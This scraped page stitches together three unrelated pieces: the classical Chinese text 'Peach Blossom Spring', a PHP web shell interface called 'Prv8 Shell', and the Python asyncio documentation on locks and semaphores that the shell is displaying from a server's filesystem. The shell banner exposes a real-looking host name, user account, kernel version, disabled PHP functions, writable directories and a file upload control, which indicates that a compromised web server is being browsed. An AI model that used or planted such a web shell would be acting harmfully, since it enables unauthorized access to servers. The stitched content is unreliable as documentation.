晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /proc/thread-self/root/usr/share/doc/python3-docs/html/_sources/library/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/thread-self/root/usr/share/doc/python3-docs/html/_sources/library/asyncio-sync.rst.txt
.. currentmodule:: asyncio
.. _asyncio-sync:

Synchronization primitives
==========================

**Source code:** :source:`Lib/asyncio/locks.py`

Locks:

* :class:`Lock`
* :class:`Event`
* :class:`Condition`

Semaphores:

* :class:`Semaphore`
* :class:`BoundedSemaphore`

asyncio lock API was designed to be close to classes of the :mod:`threading`
module (:class:`~threading.Lock`, :class:`~threading.Event`,
:class:`~threading.Condition`, :class:`~threading.Semaphore`,
:class:`~threading.BoundedSemaphore`), but it has no *timeout* parameter. The
:func:`asyncio.wait_for` function can be used to cancel a task after a timeout.

Locks
-----

Lock
^^^^

.. class:: Lock(\*, loop=None)

   Primitive lock objects.

   A primitive lock is a synchronization primitive that is not owned by a
   particular coroutine when locked.  A primitive lock is in one of two states,
   'locked' or 'unlocked'.

   It is created in the unlocked state.  It has two basic methods, :meth:`acquire`
   and :meth:`release`.  When the state is unlocked, acquire() changes the state to
   locked and returns immediately.  When the state is locked, acquire() blocks
   until a call to release() in another coroutine changes it to unlocked, then
   the acquire() call resets it to locked and returns.  The release() method
   should only be called in the locked state; it changes the state to unlocked
   and returns immediately.  If an attempt is made to release an unlocked lock,
   a :exc:`RuntimeError` will be raised.

   When more than one coroutine is blocked in acquire() waiting for the state
   to turn to unlocked, only one coroutine proceeds when a release() call
   resets the state to unlocked; first coroutine which is blocked in acquire()
   is being processed.

   :meth:`acquire` is a coroutine and should be called with ``yield from``.

   Locks also support the context management protocol.  ``(yield from lock)``
   should be used as the context manager expression.

   This class is :ref:`not thread safe <asyncio-multithreading>`.

   Usage::

       lock = Lock()
       ...
       yield from lock
       try:
           ...
       finally:
           lock.release()

   Context manager usage::

       lock = Lock()
       ...
       with (yield from lock):
           ...

   Lock objects can be tested for locking state::

       if not lock.locked():
           yield from lock
       else:
           # lock is acquired
           ...

   .. method:: locked()

      Return ``True`` if the lock is acquired.

   .. coroutinemethod:: acquire()

      Acquire a lock.

      This method blocks until the lock is unlocked, then sets it to locked and
      returns ``True``.

      This method is a :ref:`coroutine <coroutine>`.

   .. method:: release()

      Release a lock.

      When the lock is locked, reset it to unlocked, and return.  If any other
      coroutines are blocked waiting for the lock to become unlocked, allow
      exactly one of them to proceed.

      When invoked on an unlocked lock, a :exc:`RuntimeError` is raised.

      There is no return value.


Event
^^^^^

.. class:: Event(\*, loop=None)

   An Event implementation, asynchronous equivalent to :class:`threading.Event`.

   Class implementing event objects. An event manages a flag that can be set to
   true with the :meth:`set` method and reset to false with the :meth:`clear`
   method.  The :meth:`wait` method blocks until the flag is true. The flag is
   initially false.

   This class is :ref:`not thread safe <asyncio-multithreading>`.

   .. method:: clear()

      Reset the internal flag to false. Subsequently, coroutines calling
      :meth:`wait` will block until :meth:`set` is called to set the internal
      flag to true again.

   .. method:: is_set()

      Return ``True`` if and only if the internal flag is true.

   .. method:: set()

      Set the internal flag to true. All coroutines waiting for it to become
      true are awakened. Coroutine that call :meth:`wait` once the flag is true
      will not block at all.

   .. coroutinemethod:: wait()

      Block until the internal flag is true.

      If the internal flag is true on entry, return ``True`` immediately.
      Otherwise, block until another coroutine calls :meth:`set` to set the
      flag to true, then return ``True``.

      This method is a :ref:`coroutine <coroutine>`.


Condition
^^^^^^^^^

.. class:: Condition(lock=None, \*, loop=None)

   A Condition implementation, asynchronous equivalent to
   :class:`threading.Condition`.

   This class implements condition variable objects. A condition variable
   allows one or more coroutines to wait until they are notified by another
   coroutine.

   If the *lock* argument is given and not ``None``, it must be a :class:`Lock`
   object, and it is used as the underlying lock.  Otherwise,
   a new :class:`Lock` object is created and used as the underlying lock.

   This class is :ref:`not thread safe <asyncio-multithreading>`.

   .. coroutinemethod:: acquire()

      Acquire the underlying lock.

      This method blocks until the lock is unlocked, then sets it to locked and
      returns ``True``.

      This method is a :ref:`coroutine <coroutine>`.

   .. method:: notify(n=1)

      By default, wake up one coroutine waiting on this condition, if any.
      If the calling coroutine has not acquired the lock when this method is
      called, a :exc:`RuntimeError` is raised.

      This method wakes up at most *n* of the coroutines waiting for the
      condition variable; it is a no-op if no coroutines are waiting.

      .. note::

         An awakened coroutine does not actually return from its :meth:`wait`
         call until it can reacquire the lock. Since :meth:`notify` does not
         release the lock, its caller should.

   .. method:: locked()

      Return ``True`` if the underlying lock is acquired.

   .. method:: notify_all()

      Wake up all coroutines waiting on this condition. This method acts like
      :meth:`notify`, but wakes up all waiting coroutines instead of one. If the
      calling coroutine has not acquired the lock when this method is called, a
      :exc:`RuntimeError` is raised.

   .. method:: release()

      Release the underlying lock.

      When the lock is locked, reset it to unlocked, and return. If any other
      coroutines are blocked waiting for the lock to become unlocked, allow
      exactly one of them to proceed.

      When invoked on an unlocked lock, a :exc:`RuntimeError` is raised.

      There is no return value.

   .. coroutinemethod:: wait()

      Wait until notified.

      If the calling coroutine has not acquired the lock when this method is
      called, a :exc:`RuntimeError` is raised.

      This method releases the underlying lock, and then blocks until it is
      awakened by a :meth:`notify` or :meth:`notify_all` call for the same
      condition variable in another coroutine.  Once awakened, it re-acquires
      the lock and returns ``True``.

      This method is a :ref:`coroutine <coroutine>`.

   .. coroutinemethod:: wait_for(predicate)

      Wait until a predicate becomes true.

      The predicate should be a callable which result will be interpreted as a
      boolean value. The final predicate value is the return value.

      This method is a :ref:`coroutine <coroutine>`.


Semaphores
----------

Semaphore
^^^^^^^^^

.. class:: Semaphore(value=1, \*, loop=None)

   A Semaphore implementation.

   A semaphore manages an internal counter which is decremented by each
   :meth:`acquire` call and incremented by each :meth:`release` call. The
   counter can never go below zero; when :meth:`acquire` finds that it is zero,
   it blocks, waiting until some other coroutine calls :meth:`release`.

   Semaphores also support the context management protocol.

   The optional argument gives the initial value for the internal counter; it
   defaults to ``1``. If the value given is less than ``0``, :exc:`ValueError`
   is raised.

   This class is :ref:`not thread safe <asyncio-multithreading>`.

   .. coroutinemethod:: acquire()

      Acquire a semaphore.

      If the internal counter is larger than zero on entry, decrement it by one
      and return ``True`` immediately.  If it is zero on entry, block, waiting
      until some other coroutine has called :meth:`release` to make it larger
      than ``0``, and then return ``True``.

      This method is a :ref:`coroutine <coroutine>`.

   .. method:: locked()

      Returns ``True`` if semaphore can not be acquired immediately.

   .. method:: release()

      Release a semaphore, incrementing the internal counter by one. When it
      was zero on entry and another coroutine is waiting for it to become
      larger than zero again, wake up that coroutine.


BoundedSemaphore
^^^^^^^^^^^^^^^^

.. class:: BoundedSemaphore(value=1, \*, loop=None)

   A bounded semaphore implementation. Inherit from :class:`Semaphore`.

   This raises :exc:`ValueError` in :meth:`~Semaphore.release` if it would
   increase the value above the initial value.

haha - 2025